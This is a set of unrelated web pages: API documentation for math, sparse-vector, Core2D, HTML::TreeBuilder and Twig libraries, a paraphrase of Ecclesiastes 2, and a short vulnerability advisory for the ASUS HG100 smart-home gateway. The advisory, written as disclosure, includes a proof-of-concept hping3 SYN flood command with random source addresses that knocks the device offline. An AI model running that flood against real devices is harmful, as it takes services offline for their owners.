expressed in radians to an angle expressed in degrees.
| a_angleRad | Angle in radians. |
|
inline |
This function returns the number of digits that compose a given integer a_value
passed by argument.
| a_value | Value to be evaluated. |
This function computes the addition of two vectors.
The vectors are passed by argument as a_vector1
and a_vector2
.
| a_vector1 | First vector. |
| a_vector2 | Second vector. |
|
inline |
This function computes the addition of three vectors.
The vectors are passed by argument as a_vector1
, a_vector2
, and a_vector3
.
| a_vector1 | First vector. |
| a_vector2 | Second vector. |
| a_vector3 | Third vector. |
This function computes the subtraction of two vectors.
The vectors are passed by argument as a_vector1
and a_vector2
.
| a_vector1 | First vector. |
| a_vector2 | Second vector. |
|
inline |
This function computes the negated vector of a vector a_vector
passed by argument.
| a_vector | Vector to be negated. |
|
inline |
This function computes the multiplication of a vector by a scalar.
The vector a_vector
and scalar a_scalar
are passed by argument.
| a_value | Scalar. |
| a_vector | Vector to be scaled. |
|
inline |
This function computes the division of a vector by a scalar.
The vector a_vector
and scalar a_scalar
are passed by argument.
| a_value | Scalar. |
| a_vector | Vector to be scaled. |
This function compute the cross product between two vectors.
Both vectors are passed by argument as a_vector1
and a_vector2
.
| a_vector1 | Vector1. |
| a_vector2 | Vector2. |
This function computes the dot product between two vectors.
Both vectors are passed by argument as a_vector1
and a_vector2
.
| a_vector1 | Vector1. |
| a_vector2 | Vector2. |
|
inline |
This function computes the normalized vector of a vector a_vector
passed by argument.
| a_vector | Vector to be normalized. |
This function computes the distance between two points a_point1
and a_point2
passed by argument.
| a_point1 | First point. |
| a_point2 | Second point. |
This function computes the squared distance between two points a_point1
and a_point2
passed by argument.
| a_point1 | First point. |
| a_point2 | Second point. |
|
inline |
This function determine whether two vectors represent the same point.
Both points, a_point1
and a_point2
, are passed by argument.
A parameter a_epsilon
defines the distance tolerance between both points such that if the computed distance is smaller than a_epsilon
, then both points are considered to be equal.
The function returns true if both points are determined equal, or false otherwise.
| a_point1 | First point. |
| a_point2 | Second point. |
| a_epsilon | Distance tolerance. Defaults value is set to C_SMALL. |
|
inline |
The function returns the identity matrix.
The function computes the addition between two matrices a_matrix1
and a_matrix2
that are passed by argument.
| a_matrix1 | First matrix. |
| a_matrix2 | Second matrix. |
This function computes the subtraction between two matrices a_matrix1
and a_matrix2
that are passed by argument.
| a_matrix1 | First matrix. |
| a_matrix2 | Second matrixs. |
|
inline |
This function creates a rotation matrix from a set of Euler angles defined in radians and co-moving axes of rotations.
The angles are defined in radians and passed by argument as a_angleRad1
, a_angleRad2
, and a_angleRad3
.
The order of the rotations are defined by argument a_eulerOrder
. See cEulerOrder for more information.
The argument a_useIntrinsicEulerModel
defines if the instrinsic (true) or extrinsic (false) model is used.
| a_angleRad1 | Angle in radians of the first rotation in the sequence. |
| a_angleRad2 | Angle in radians of the second rotation in the sequence. |
| a_angleRad3 | Angle in radians of the third rotation in the sequence. |
| a_eulerOrder | The order of the axes about which the rotations are to be applied |
| a_useIntrinsicEulerModel | If true use intrinsic Euler model, if false use extrinsic Euler model. |
|
inline |
This function creates a rotation matrix from a set of Euler angles defined in degrees and co-moving axes of rotations.
The angles are defined in radian and passed by argument as a_angleDeg1
, a_angleDeg2
, and a_angleDeg3
.
The order of the rotations are defined by argument a_eulerOrder
. See cEulerOrder for more information.
The argument a_useIntrinsicEulerModel
defines if the instrinsic (true) or extrinsic (false) model is used.
| a_angleDeg1 | Angle in degrees of the first rotation in the sequence. |
| a_angleDeg2 | Angle in degrees of the second rotation in the sequence. |
| a_angleDeg3 | Angle in degrees of the third rotation in the sequence. |
| a_eulerOrder | The order of the axes about which the rotations are to be applied |
| a_useIntrinsicEulerModel | If true use intrinsic Euler model, if false use extrinsic Euler model. |
|
inline |
This function creates a rotation matrix from an axis-angle representation.
The axis is defined by arguments a_axisX
, a_axisY
, and a_axisZ
. The rotation angle is defined in radians by argument a_angleRad
.
| a_axisX | x component of axis. |
| a_axisY | y component of axis. |
| a_axisZ | z component of axis. |
| a_angleRad | Angle of rotation in radians. |
|
inline |
This function creates a rotation matrix from an axis-angle representation.
The axis is defined by arguments a_axisX
, a_axisY
, and a_axisZ
. The rotation angle is defined in degrees by argument a_angleDeg
.
| a_axisX | x component of axis. |
| a_axisY | y component of axis. |
| a_axisZ | z component of axis. |
| a_angleDeg | Angle of roation in degrees. |
This function computes the multiplication of two matrices a_matrix1
and a_matrix2
passed by argument.
| a_matrix1 | First matrix. |
| a_matrix2 | Second matrix. |
This function computes the multiplication of a matrix a_matrix
and a vector a_vector
passed by argument.
|
inline |
This function computes the transpose of a matrix a_matrix
passed by argument.
| a_matrix | Matrix to be transposed. |
a_matrix
.
|
inline |
This function computes the the inverse of a matrix a_matrix
passed by argument.
| a_matrix | Matrix to be inversed. |
This function computes the angle in radians between two vectors a_vector1
and a_vector2
passed by argument.
| a_vector1 | First vector. |
| a_vector2 | Second vector. |
This function computes the cosine of the angle between two vectors a_vector1
and a_vector2
passed by argument.
| a_vector1 | First vector. |
| a_vector2 | Second vector. |
|
inline |
This function determines the solution of a linear equation.
It takes as parameters a pointer to the two coefficient of the linear equation (the c[1] is the coefficient of x and so on) and a pointer to the two element array in which the solution is to be placed. It outputs is a solution has been found.
| a_coefficient | Input coefficient values. |
| a_solution | Output roots found. |
|
inline |
This function determines the roots of a quadric equation
It takes as parameters a pointer to the three coefficient of the quadric equation (the c[2] is the coefficient of x2 and so on) and a pointer to the two element array in which the roots are to be placed. It outputs the number of roots found.
| a_coefficient | Input coefficient values. |
| a_solution | Output roots found. |
|
inline |
This function determines the roots of a cubic equation.
It takes as parameters a pointer to the four coefficient of the cubic equation (the c[3] is the coefficient of x3 and so on) and a pointer to the three element array in which the roots are to be placed. It outputs the number of roots found.
| a_coefficient | Input coefficient values. |
| a_solution | Output roots found. |
|
inline |
This function determines the roots of a quartic equation.
It takes as parameters a pointer to the five coefficient of the quartic equation (the c[4] is the coefficient of x^4 and so on) and a pointer to the four element array in which the roots are to be placed. It outputs the number of roots found.
| a_coefficient | Input coefficient values. |
| a_solution | Output roots found. |


#include <SparseVector.hpp>
Public Types | |
| typedef std::map< int, double > | VectorMap |
Public Member Functions | |
| SparseVector () | |
| SparseVector (const SparseVector &rhs) | |
| SparseVector (int numElements) | |
| SparseVector (int numElements, bool isColumn) | |
| double & | operator[] (int i) |
| const double & | operator[] (int i) const |
| double & | operator() (int i) |
| const double & | operator() (int i) const |
| SparseVector | Transpose () |
| SparseVector | TransposeSelf () |
Public Attributes | |
| VectorMap | _vectorMap |
| int | _numElements |
| bool | _isColumn |
Friends | |
| std::ostream & | operator<< (std::ostream &stream, const SparseVector &SparseVector) |
Definition at line 10 of file SparseVector.hpp.
| typedef std::map<int, double> SparseVector::VectorMap |
Definition at line 13 of file SparseVector.hpp.
| SparseVector::SparseVector | ( | ) |
Definition at line 8 of file SparseVector.cpp.
| SparseVector::SparseVector | ( | const SparseVector & | rhs | ) |
Definition at line 109 of file SparseVector.cpp.
|
explicit |
Definition at line 13 of file SparseVector.cpp.
| SparseVector::SparseVector | ( | int | numElements, |
| bool | isColumn | ||
| ) |
Definition at line 18 of file SparseVector.cpp.
| double & SparseVector::operator() | ( | int | i | ) |
Definition at line 60 of file SparseVector.cpp.
| const double & SparseVector::operator() | ( | int | i | ) | const |
Definition at line 74 of file SparseVector.cpp.
| double & SparseVector::operator[] | ( | int | i | ) |
Definition at line 24 of file SparseVector.cpp.
| const double & SparseVector::operator[] | ( | int | i | ) | const |
Definition at line 39 of file SparseVector.cpp.
| SparseVector SparseVector::Transpose | ( | ) |
Definition at line 96 of file SparseVector.cpp.
| SparseVector SparseVector::TransposeSelf | ( | ) |
Definition at line 102 of file SparseVector.cpp.
|
friend |
Definition at line 143 of file SparseAlgebra.cpp.
| bool SparseVector::_isColumn |
Definition at line 18 of file SparseVector.hpp.
| int SparseVector::_numElements |
Definition at line 17 of file SparseVector.hpp.
| VectorMap SparseVector::_vectorMap |
Definition at line 16 of file SparseVector.hpp.


Description:ASUS HG100 devices allow denial of service via an IPv4 packet flood.
This vulnerability was discovered by Mars Cheng at National Center for Cyber Security Technology (NCCST)
Introduction ASUS HG100 SmartHome GateWay
| Length x width x height | Weight | Wireless connection |
|---|---|---|
| 152 x 67 x 167 mm | 256g | WiFi 802.11b/g/n ; ZigBee PRO ; BlueTooth 4.0 |
Proof of Concept
1.Connect to ASUS Gateway HG100 with ADB
adb connect <IP_ADDRESS>
adb shell
2.Execute IP v4 flood attack
- Use Hping3 tool to execute DoS attack
hping3 -V -c 1000000 -d 120 -S -w 64 --flood --rand-source <IP_ADDRESS>
- Confirm packets status
3.Confirm device status
- Unable to connect to ADB, and DoS attack success.
Timeline
- February 6, 2018 Reported to ASUS Security
Reference
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11492


We have sent you an e-mail where we ask you to confirm your account.
Please do so soon so we can trust that you are the owner of the e-mail address.
You can already use the web interface of the Knowledge app.
If you use a Mac you can get the Mac App for OnlineObjects.
If you use an iPhone or iPad you can get the Knowledge app for iOS.


Table of contents
Layout
Grid system
Sticky footer
Components
Alerts
Banner
Buttons
Callouts
Input box
Dependency
This framework is dependent on
jQuery
.


2
1 Then I said to myself, "Well, I will try to do everything that I enjoy. I will find out whether doing what I enjoy can truly enable me to be happy."
3 So, after thinking a lot about it, I decided to cheer myself up by drinking a lot of wine. While I was still trying to be wise, I acted stupidly. I tried to learn what people can do to be happy during the short time that they are alive on the earth.
4 I did great things. I caused houses to be built for myself and vineyards to be planted.
5 I made gardens and parks. Then I planted the gardens with many kinds of fruit trees.
6 I built pools of water to store water to irrigate the fruit trees.
7 I bought male and female slaves. Babies who later became my slaves were born in my palace. I also owned more livestock than any of the previous kings in Jerusalem had owned.
8 I also accumulated large amounts of silver and gold that were acquired from the treasures of kings and rulers of provinces. I owned men and women who sang for me, and I had many wives and concubines, whom men all over the world would enjoy possessing.
9 So I gained more power and wealth than any king who had ruled before me in Jerusalem, and I allowed my wisdom to continue to guide me.
10 I got everything that I saw and wanted.
I did everything that I thought would enable me to be happy.
All the things that I enjoyed were like a reward for all my hard work.
11 But then I thought about all the hard work that I had done to obtain all those things.
I saw that none of my work brought me any lasting benefit.
It was all like trying to control the wind.
12 Then I started to think about being wise, and also about being foolish.
I said to myself, "I certainly do not think that anybody will be able to do anything better than I can."
13 And I thought, "Surely it is better to be wise than to be foolish,
like light is better than darkness,
14 because wise people walk in the daylight and can see where they are going,
but foolish people walk in the darkness and cannot see where they are going."
But I also realized that both wise people and foolish people eventually die.
15 So I said to myself,
"I am very wise, but I will die at the end of my life like foolish people do.
So how has it benefited me to be very wise?

And after we die, we will all eventually be forgotten."
17 So I hated being alive, because all the work that we do here on the earth distressed me. It all seemed to be useless, like trying to control the wind.
18 I also began to hate all the hard work that I had done here on the earth, because when I die, everything that I have acquired will belong to the one who inherits it after me.
19 And who knows whether that person will be wise or foolish? But even if he is foolish, he will acquire all the things that I worked very hard and wisely to get.
20 I thought about all the hard work that I had done in this world. It seemed useless, and I became depressed.
21 Some people work wisely and skillfully, using the things that they have learned. But when they die, they leave everything, and someone who has not worked for those things acquires them. That fact also seemed to be senseless and caused me to be discouraged.
22 So it is useless for people to work for all they do.
23 Every day the work that they do causes them to experience pain and to be worried. And during the night their minds are not able to rest. That also shows how temporary everything is.
24 So I decided that the best thing that we can do is to enjoy what we eat and drink, and also to enjoy our work. And I realized that those things are what God intends for us.
25 There is absolutely no one who is able to enjoy those things if God does not give those things to him.
26 God enables those who please him to be wise, to know many things, and to enjoy many things. But if sinful people work hard and become rich, God can take their money away from them and give it to those who please him. However, the reason for that is also something that is difficult for me to understand. It seems useless that they worked so hard; it is like trying to control the wind.


Struct ShapeBox
Inherited Members
System.ValueType.Equals(System.Object)
System.ValueType.GetHashCode()
System.ValueType.ToString()
System.Object.Equals(System.Object, System.Object)
System.Object.GetType()
System.Object.ReferenceEquals(System.Object, System.Object)
Assembly: Core2D.dll
Syntax
Constructors
|
Improve this Doc
View Source
ShapeBox(IBaseShape)
Declaration
public ShapeBox(IBaseShape shape)
Parameters
Fields
|
Improve this Doc
View Source
Bottom
Declaration
public readonly double Bottom
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
CenterX
Declaration
public readonly double CenterX
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
CenterY
Declaration
public readonly double CenterY
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
Height
Declaration
public readonly double Height
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
Left
Declaration
public readonly double Left
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
Points
Declaration
public readonly IEnumerable<IPointShape> Points
Field Value
| Type |
Description |
| System.Collections.Generic.IEnumerable<IPointShape> |
|
|
Improve this Doc
View Source
Right
Declaration
public readonly double Right
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
Shape
Declaration
public readonly IBaseShape Shape
Field Value
|
Improve this Doc
View Source
Top
Declaration
public readonly double Top
Field Value
| Type |
Description |
| System.Double |
|
|
Improve this Doc
View Source
Width
Declaration
public readonly double Width
Field Value
| Type |
Description |
| System.Double |
|
Methods
|
Improve this Doc
View Source
CompareBottom(ShapeBox, ShapeBox)
Declaration
public static int CompareBottom(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareCenterX(ShapeBox, ShapeBox)
Declaration
public static int CompareCenterX(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareCenterY(ShapeBox, ShapeBox)
Declaration
public static int CompareCenterY(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareHeight(ShapeBox, ShapeBox)
Declaration
public static int CompareHeight(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareLeft(ShapeBox, ShapeBox)
Declaration
public static int CompareLeft(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareRight(ShapeBox, ShapeBox)
Declaration
public static int CompareRight(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareTop(ShapeBox, ShapeBox)
Declaration
public static int CompareTop(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
CompareWidth(ShapeBox, ShapeBox)
Declaration
public static int CompareWidth(ShapeBox box1, ShapeBox box2)
Parameters
Returns
| Type |
Description |
| System.Int32 |
|
|
Improve this Doc
View Source
GetBox(IEnumerable<IPointShape>, out Double, out Double, out Double, out Double)
Declaration
public static void GetBox(IEnumerable<IPointShape> points, out double left, out double top, out double right, out double bottom)
Parameters
| Type |
Name |
Description |
| System.Collections.Generic.IEnumerable<IPointShape> |
points |
|
| System.Double |
left |
|
| System.Double |
top |
|
| System.Double |
right |
|
| System.Double |
bottom |
|


void admin_panel::print ($string);
This function is the replacement for php's internal
echo () function
if the class should control the page layout.
void admin_panel::paragraph ($label);
paragraph() creates a paragraph with an optional label.
This function doesn't work inside tables.
$p->paragraph ('<hr>'); # Create paragrph with horizontal ruler.
void admin_panel::image ($src);
Displays an image of MIME type $mime_type. You could store
the mime type in another field or use magic2mime().


| HTML::TreeBuilder - Parser that builds a HTML syntax tree |
HTML::TreeBuilder - Parser that builds a HTML syntax tree
This document describes version 5.03 of HTML::TreeBuilder, released September 22, 2012 as part of HTML-Tree.
use HTML::TreeBuilder 5 -weak; # Ensure weak references in use
foreach my $file_name (@ARGV) { my $tree = HTML::TreeBuilder->new; # empty tree $tree->parse_file($file_name); print "Hey, here's a dump of the parse tree of $file_name:\n"; $tree->dump; # a method we inherit from HTML::Element print "And here it is, bizarrely rerendered as HTML:\n", $tree->as_HTML, "\n";
# Now that we're done with it, we must destroy it. # $tree = $tree->delete; # Not required with weak references }
(This class is part of the HTML::Tree dist.)
This class is for HTML syntax trees that get built out of HTML source. The way to use it is to:
1. start a new (empty) HTML::TreeBuilder object,
2. then use one of the methods from HTML::Parser (presumably with
$tree->parse_file($filename)
for files, or with
$tree->parse($document_content)
and $tree->eof
if you've got
the content in a string) to parse the HTML
document into the tree $tree
.
(You can combine steps 1 and 2 with the "new_from_file" or "new_from_content" methods.)
2b. call $root->elementify()
if you want.
3. do whatever you need to do with the syntax tree, presumably involving traversing it looking for some bit of information in it,
4. previous versions of HTML::TreeBuilder required you to call
$tree->delete()
to erase the contents of the tree from memory
when you're done with the tree. This is not normally required anymore.
See Weak References in the HTML::Element manpage for details.
Most of the following attributes native to HTML::TreeBuilder control how
parsing takes place; they should be set before you try parsing into
the given object. You can set the attributes by passing a TRUE or
FALSE value as argument. E.g., $root->implicit_tags
returns
the current setting for the implicit_tags
option,
$root->implicit_tags(1)
turns that option on,
and $root->implicit_tags(0)
turns it off.
Setting this attribute to true will instruct the parser to try to
deduce implicit elements and implicit end tags. If it is false you
get a parse tree that just reflects the text as it stands, which is
unlikely to be useful for anything but quick and dirty parsing.
(In fact, I'd be curious to hear from anyone who finds it useful to
have implicit_tags
set to false.)
Default is true.
Implicit elements have the implicit in the HTML::Element manpage attribute set.
This controls an aspect of implicit element behavior, if implicit_tags
is on: If a text element (PCDATA) or a phrasal element (such as

) is to be inserted under
, two things
can happen: if implicit_body_p_tag
is true, it's placed under a new,
implicit

tag. (Past DTDs suggested this was the only
correct behavior, and this is how past versions of this module
behaved.) But if implicit_body_p_tag
is false, nothing is implicated
-- the PCDATA or phrasal element is simply placed under

. Default is false.
This attribute controls whether entities are decoded during the initial parse of the source. Enable this if you don't want entities decoded to their character value. e.g. '&' is decoded to '&' by default, but will be unchanged if this is enabled. Default is false (entities will be decoded.)
This attribute controls whether unknown tags should be represented as elements in the parse tree, or whether they should be ignored. Default is true (to ignore unknown tags.)
Do not represent the text content of elements. This saves space if all you want is to examine the structure of the document. Default is false.
If set to true, TreeBuilder will try to avoid creating ignorable whitespace text nodes in the tree. Default is true. (In fact, I'd be interested in hearing if there's ever a case where you need this off, or where leaving it on leads to incorrect behavior.)
This determines whether TreeBuilder compacts all whitespace strings
in the document (well, outside of PRE or TEXTAREA elements), or
leaves them alone. Normally (default, value of 0), each string of
contiguous whitespace in the document is turned into a single space.
But that's not done if no_space_compacting
is set to 1.
Setting no_space_compacting
to 1 might be useful if you want
to read in a tree just to make some minor changes to it before
writing it back out.
This method is experimental. If you use it, be sure to report any problems you might have with it.
If set to true (and it defaults to false), TreeBuilder will take a
narrower than normal view of what can be under a

element; if it sees
a non-phrasal element about to be inserted under a

, it will
close that

. Otherwise it will close

elements only for
other

's, headings, and <form>
(although the latter may be
removed in future versions).
For example, when going thru this snippet of code,

stuff

TreeBuilder will normally (with p_strict
false) put the

element
under the

element. However, with p_strict
set to true, it will
close the

first.
In theory, there should be strictness options like this for other/all
elements besides just

; but I treat this as a special case simply
because of the fact that

occurs so frequently and its end-tag is
omitted so often; and also because application of strictness rules
at parse-time across all elements often makes tiny errors in HTML
coding produce drastically bad parse-trees, in my experience.
If you find that you wish you had an option like this to enforce content-models on all elements, then I suggest that what you want is content-model checking as a stage after TreeBuilder has finished parsing.
This determines whether TreeBuilder will normally store comments found
while parsing content into $root
. Currently, this is off by default.
This determines whether TreeBuilder will normally store markup
declarations found while parsing content into $root
. This is on
by default.
This determines whether TreeBuilder will normally store processing
instructions found while parsing content into $root
-- assuming a
recent version of HTML::Parser (old versions won't parse PIs
correctly). Currently, this is off (false) by default.
It is somewhat of a known bug (to be fixed one of these days, if
anyone needs it?) that PIs in the preamble (before the
start-tag) end up actually under the
element.
This determines whether syntax errors during parsing should generate
warnings, emitted via Perl's warn
function.
This is off (false) by default.
Objects of this class inherit the methods of both HTML::Parser and HTML::Element. The methods inherited from HTML::Parser are used for building the HTML tree, and the methods inherited from HTML::Element are what you use to scrutinize the tree. Besides this (HTML::TreeBuilder) documentation, you must also carefully read the HTML::Element documentation, and also skim the HTML::Parser documentation -- probably only its parse and parse_file methods are of interest.
$root = HTML::TreeBuilder->new_from_file($filename_or_filehandle);
This "shortcut" constructor merely combines constructing a new object
(with the new method, below), and calling $new->parse_file(...)
on
it. Returns the new object. Note that this provides no way of
setting any parse options like store_comments
(for that, call new
, and
then set options, before calling parse_file
). See the notes (below)
on parameters to parse_file.
If HTML::TreeBuilder is unable to read the file, then new_from_file
dies. The error can also be found in $!
. (This behavior is new in
HTML-Tree 5. Previous versions returned a tree with only implicit elements.)
$root = HTML::TreeBuilder->new_from_content(...);
This "shortcut" constructor merely combines constructing a new object
(with the new method, below), and calling for(...){$new->parse($_)}
and $new->eof
on it. Returns the new object. Note that this provides
no way of setting any parse options like store_comments
(for that,
call new
, and then set options, before calling parse
). Example
usages: HTML::TreeBuilder->new_from_content(@lines)
, or
HTML::TreeBuilder->new_from_content($content)
.
$root = HTML::TreeBuilder->new_from_url($url)
This "shortcut" constructor combines constructing a new object (with
the new method, below), loading the LWP::UserAgent manpage, fetching the
specified URL, and calling $new->parse( $response->decoded_content)
and $new->eof
on it.
Returns the new object. Note that this provides no way of setting any
parse options like store_comments
.
If LWP is unable to fetch the URL, or the response is not HTML (as
determined by content_is_html in the HTTP::Headers manpage), then new_from_url
dies, and the HTTP::Response object is found in
$HTML::TreeBuilder::lwp_response
.
You must have installed LWP::UserAgent for this method to work. LWP is not installed automatically, because it's a large set of modules and you might not need it.
$root = HTML::TreeBuilder->new();
This creates a new HTML::TreeBuilder object. This method takes no attributes.
$root->parse_file(...)
[An important method inherited from HTML::Parser, which
see. Current versions of HTML::Parser can take a filespec, or a
filehandle object, like *FOO, or some object from class IO::Handle,
IO::File, IO::Socket) or the like.
I think you should check that a given file exists before calling
$root->parse_file($filespec)
.]
When you pass a filename to parse_file
, HTML::Parser opens it in
binary mode, which means it's interpreted as Latin-1 (ISO-8859-1). If
the file is in another encoding, like UTF-8 or UTF-16, this will not
do the right thing.
One solution is to open the file yourself using the proper
:encoding
layer, and pass the filehandle to parse_file
. You can
automate this process by using html_file in the IO::HTML manpage, which will use
the HTML5 encoding sniffing algorithm to automatically determine the
proper :encoding
layer and apply it.
In the next major release of HTML-Tree, I plan to have it use IO::HTML
automatically. If you really want your file opened in binary mode,
you should open it yourself and pass the filehandle to parse_file
.
The return value is undef
if there's an error opening the file. In
that case, the error will be in $!
.
$root->parse(...)
[A important method inherited from HTML::Parser, which
see. See the note below for $root->eof()
.]
$root->eof();
This signals that you're finished parsing content into this tree; this
runs various kinds of crucial cleanup on the tree. This is called
for you when you call $root->parse_file(...)
, but not when
you call $root->parse(...)
. So if you call
$root->parse(...)
, then you must call $root->eof()
once you've finished feeding all the chunks to parse(...)
, and
before you actually start doing anything else with the tree in $root
.
$root->parse_content(...);
Basically a handy alias for $root->parse(...); $root->eof
.
Takes the exact same arguments as $root->parse()
.
$root->delete();
[A previously important method inherited from HTML::Element, which see.]
$root->elementify();
This changes the class of the object in $root
from
HTML::TreeBuilder to the class used for all the rest of the elements
in that tree (generally HTML::Element). Returns $root
.
For most purposes, this is unnecessary, but if you call this after
(after!!)
you've finished building a tree, then it keeps you from accidentally
trying to call anything but HTML::Element methods on it. (I.e., if
you accidentally call $root->parse_file(...)
on the
already-complete and elementified tree, then instead of charging ahead
and wreaking havoc, it'll throw a fatal error -- since $root
is
now an object just of class HTML::Element which has no parse_file
method.
Note that elementify
currently deletes all the private attributes of
$root
except for "_tag", "_parent", "_content", "_pos", and
"_implicit". If anyone requests that I change this to leave in yet
more private attributes, I might do so, in future versions.
@nodes = $root->guts(); $parent_for_nodes = $root->guts();
In list context (as in the first case), this method returns the topmost non-implicit nodes in a tree. This is useful when you're parsing HTML code that you know doesn't expect an HTML document, but instead just a fragment of an HTML document. For example, if you wanted the parse tree for a file consisting of just this:

I like pie!
Then you would get that with @nodes = $root->guts();
.
It so happens that in this case, @nodes
will contain just one
element object, representing the

node (with "I like pie!" being
its text child node). However, consider if you were parsing this:

Hooboy!

In that case, $root->guts()
would return three items:
an element object for the first

, a text string "Hooboy!", and
another

element object.
For cases where you want definitely one element (so you can treat it as
a "document fragment", roughly speaking), call guts()
in scalar
context, as in $parent_for_nodes = $root->guts()
. That works like
guts()
in list context; in fact, guts()
in list context would
have returned exactly one value, and if it would have been an object (as
opposed to a text string), then that's what guts
in scalar context
will return. Otherwise, if guts()
in list context would have returned
no values at all, then guts()
in scalar context returns undef. In
all other cases, guts()
in scalar context returns an implicit

element node, with children consisting of whatever nodes guts()
in list context would have returned. Note that that may detach those
nodes from $root
's tree.
@nodes = $root->disembowel(); $parent_for_nodes = $root->disembowel();
The disembowel()
method works just like the guts()
method, except
that disembowel definitively destroys the tree above the nodes that
are returned.  (Remember, "disembowel" means "remove the guts from".)
You should not need to call any of the following methods directly.
$classname = $h->element_class;
This method returns the class which will be used for new elements. It defaults to HTML::Element, but can be overridden by subclassing or esoteric means best left to those will will read the source and then not complain when those esoteric means change. (Just subclass.)
Accept a "here's a comment" signal from HTML::Parser.
Accept a "here's a markup declaration" signal from HTML::Parser.
TODO: document
Either: Acccept an end-tag signal from HTML::Parser Or: Method for closing currently open elements in some fairly complex way, as used by other methods in this class.
TODO: Why is this hidden?
Accept a "here's a PI" signal from HTML::Parser.
Accept a signal from HTML::Parser for start-tags.
TODO: Why is this hidden?
TODO: document
TODO: document
Accept a "here's a text token" signal from HTML::Parser.
TODO: Why is this hidden?
Legacy
Redirects to delete_ignorable_whitespace in the HTML::Element manpage.
Wrapper for CORE::warn
TODO: why not just use carp?
Are we in Debug mode? This is a constant subroutine, to allow
compile-time optimizations. To control debug mode, set
$HTML::TreeBuilder::DEBUG
before loading HTML::TreeBuilder.
HTML is rather harder to parse than people who write it generally suspect.
Here's the problem: HTML is a kind of SGML that permits "minimization" and "implication". In short, this means that you don't have to close every tag you open (because the opening of a subsequent tag may implicitly close it), and if you use a tag that can't occur in the context you seem to using it in, under certain conditions the parser will be able to realize you mean to leave the current context and enter the new one, that being the only one that your code could correctly be interpreted in.
Now, this would all work flawlessly and unproblematically if: 1) all the rules that both prescribe and describe HTML were (and had been) clearly set out, and 2) everyone was aware of these rules and wrote their code in compliance to them.
However, it didn't happen that way, and so most HTML pages are difficult if not impossible to correctly parse with nearly any set of straightforward SGML rules. That's why the internals of HTML::TreeBuilder consist of lots and lots of special cases -- instead of being just a generic SGML parser with HTML DTD rules plugged in.
The techniques that HTML::TreeBuilder uses to perform what I consider very robust parses on everyday code are not things that can work only in Perl. To date, the algorithms at the center of HTML::TreeBuilder have been implemented only in Perl, as far as I know; and I don't foresee getting around to implementing them in any other language any time soon.
If, however, anyone is looking for a semester project for an applied programming class (or if they merely enjoy extra-curricular masochism), they might do well to see about choosing as a topic the implementation/adaptation of these routines to any other interesting programming language that you feel currently suffers from a lack of robust HTML-parsing. I welcome correspondence on this subject, and point out that one can learn a great deal about languages by trying to translate between them, and then comparing the result.
The HTML::TreeBuilder source may seem long and complex, but it is rather well commented, and symbol names are generally self-explanatory. (You are encouraged to read the Mozilla HTML parser source for comparison.) Some of the complexity comes from little-used features, and some of it comes from having the HTML tokenizer (HTML::Parser) being a separate module, requiring somewhat of a different interface than you'd find in a combined tokenizer and tree-builder. But most of the length of the source comes from the fact that it's essentially a long list of special cases, with lots and lots of sanity-checking, and sanity-recovery -- because, as Roseanne Rosannadanna once said, "it's always something".
Users looking to compare several HTML parsers should look at the
source for Raggett's Tidy
(<http://www.w3.org/People/Raggett/tidy/>
),
Mozilla
(<http://www.mozilla.org/>
),
and possibly root around the browsers section of Yahoo
to find the various open-source ones
(<http://dir.yahoo.com/Computers_and_Internet/Software/Internet/World_Wide_Web/Browsers/>
).
* Framesets seem to work correctly now. Email me if you get a strange parse from a document with framesets.
* Really bad HTML code will, often as not, make for a somewhat objectionable parse tree. Regrettable, but unavoidably true.
* If you're running with implicit_tags
off (God help you!), consider
that $tree->content_list
probably contains the tree or grove from the
parse, and not $tree
itself (which will, oddly enough, be an implicit

element). This seems counter-intuitive and problematic; but
seeing as how almost no HTML ever parses correctly with implicit_tags
off, this interface oddity seems the least of your problems.
When a document parses in a way different from how you think it
should, I ask that you report this to me as a bug. The first thing
you should do is copy the document, trim out as much of it as you can
while still producing the bug in question, and then email me that
mini-document and the code you're using to parse it, to the HTML::Tree
bug queue at <bug-html-tree at rt.cpan.org>
.
Include a note as to how it
parses (presumably including its $tree->dump
output), and then a
careful and clear explanation of where you think the parser is
going astray, and how you would prefer that it work instead.
For more information about the HTML-Tree distribution: the HTML::Tree manpage.
Modules used by HTML::TreeBuilder: the HTML::Parser manpage, the HTML::Element manpage, the HTML::Tagset manpage.
For converting between the XML::DOM::Node manpage, the HTML::Element manpage, and the XML::Element manpage trees: the HTML::DOMbo manpage.
For opening a HTML file with automatic charset detection: the IO::HTML manpage.
Current maintainers:
Original HTML-Tree author:
Former maintainers:
You can follow or contribute to HTML-Tree's development at http://github.com/madsen/HTML-Tree.
Copyright 1995-1998 Gisle Aas, 1999-2004 Sean M. Burke, 2005 Andy Lester, 2006 Pete Krawczyk, 2010 Jeff Fearn, 2012 Christopher J. Madsen.
This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
The programs in this library are distributed in the hope that they will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose.
| HTML::TreeBuilder - Parser that builds a HTML syntax tree |


Implements interfaces:
Represents a node in the AST.
Located in /Node.php (line 20)
| Class | Description |
|---|---|
| Twig_Node_Parent | Represents a parent node. |
| Twig_Node_AutoEscape | Represents an autoescape node. |
| Twig_Node_Expression | Abstract class for all nodes that represents an expression. |
